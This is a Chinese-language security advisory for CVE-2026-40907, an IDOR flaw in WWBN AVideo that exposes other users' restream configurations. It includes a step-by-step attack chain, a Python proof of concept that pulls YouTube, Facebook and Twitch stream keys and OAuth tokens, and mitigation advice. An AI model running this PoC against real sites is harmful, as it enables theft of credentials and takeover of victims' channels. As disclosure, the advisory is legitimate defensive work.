IPBUF安全漏洞报告
English
CVE-2026-40907 CVSS 6.5 中危

CVE-2026-40907 AVideo平台IDOR漏洞导致敏感信息泄露

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40907
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

IDOR信息泄露权限绕过WWBN AVideoCWE-639

漏洞概述

WWBN AVideo是一个开源视频平台。在29.0及更早版本中,系统存在一个不安全的直接对象引用(IDOR)漏洞。该漏洞位于`plugin/Live/view/Live_restreams/list.json.php`端点。任何拥有流媒体权限的经过身份验证的用户都可以利用此漏洞,检索其他用户的直播转推配置。这导致了敏感信息的泄露,包括第三方平台的流密钥以及OAuth令牌(access_token和refresh_token),涉及的服务包括YouTube Live、Facebook Live和Twitch。该问题已在特定提交中被修复。

技术细节

该漏洞的根源在于`plugin/Live/view/Live_restreams/list.json.php`接口缺乏有效的访问控制验证,存在不安全的直接对象引用(IDOR)缺陷。通常,应用程序应该验证请求特定资源的用户是否拥有该资源的所有权或相应的权限。然而,在该端点中,系统仅检查用户是否具备基础的“流媒体权限”,而未验证请求的直播转推配置数据是否属于当前用户。攻击者只需拥有一个普通账户并获得基本的流媒体使用权限,即可通过构造特定的HTTP请求直接访问该API端点。由于系统未对请求对象的所有者身份进行校验,服务器会直接返回所有用户的直播转推配置列表。这些配置中包含了高度敏感的第三方平台认证信息,如YouTube、Facebook和Twitch的Stream Key以及OAuth的访问令牌和刷新令牌。一旦获取这些凭证,攻击者可以接管受害者的直播频道,进行恶意直播或盗用内容,造成严重的隐私泄露和声誉损害。

攻击链分析

STEP 1
步骤1
攻击者在目标WWBN AVideo平台上注册一个普通账号。
STEP 2
步骤2
攻击者登录账号,并确保该账号具有基础的“流媒体权限”。
STEP 3
步骤3
攻击者使用已认证的Session向`plugin/Live/view/Live_restreams/list.json.php`发送GET请求。
STEP 4
步骤4
服务器由于存在IDOR漏洞,返回了系统中所有用户的直播转推配置列表,而不仅仅是攻击者自己的配置。
STEP 5
步骤5
攻击者解析返回的JSON数据,提取其他用户的YouTube、Facebook和Twitch的Stream Key及OAuth Token。
STEP 6
步骤6
攻击者利用获取的凭证接管受害者的第三方平台直播频道。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL # The vulnerable endpoint is list.json.php url = "http://target-site/plugin/Live/view/Live_restreams/list.json.php" # Attacker's cookies (requires authentication and streaming permission) cookies = { "PHPSESSID": "valid_session_id_here" } try: # Send GET request to exploit IDOR response = requests.get(url, cookies=cookies) if response.status_code == 200: data = response.json() print("[+] Exploit Successful! Leaked Data:") print(data) # Example parsing of sensitive data if 'restreams' in data or isinstance(data, list): for item in data: print(f"User ID: {item.get('users_id')}") print(f"YouTube Key: {item.get('youtube_live_stream_key')}") print(f"Facebook Token: {item.get('facebook_access_token')}") print(f"Twitch Token: {item.get('twitch_access_token')}") print("---") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员在网络边界(如WAF)限制对`/plugin/Live/view/Live_restreams/list.json.php`路径的访问,仅允许受信任的内部IP调用。同时,应立即通知所有用户重置其在YouTube、Facebook和Twitch等平台的直播密钥和OAuth授权,以防止凭证泄露后被进一步利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表